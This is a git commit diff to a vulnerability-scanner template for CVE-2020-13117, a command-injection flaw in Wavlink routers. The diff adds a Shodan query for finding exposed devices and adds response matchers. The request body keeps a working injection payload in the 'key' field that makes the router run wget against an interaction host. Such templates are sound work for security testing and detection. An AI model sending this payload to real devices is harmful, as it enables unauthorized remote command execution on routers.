Update CVE-2020-13117.yaml
parent
69e5628519
commit
22f054cf0c
|
@ -13,7 +13,10 @@ info:
|
|||
cvss-score: 9.8
|
||||
cve-id: CVE-2020-13117
|
||||
cwe-id: CWE-77
|
||||
tags: cve,cve2020,wavlink,rce,oast
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"Wi-Fi APP Login"
|
||||
tags: cve,cve2020,wavlink,rce,oast,router
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
|
@ -26,8 +29,18 @@ requests:
|
|||
|
||||
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "http"
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "parent.location.replace"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
Loading…
Reference in New Issue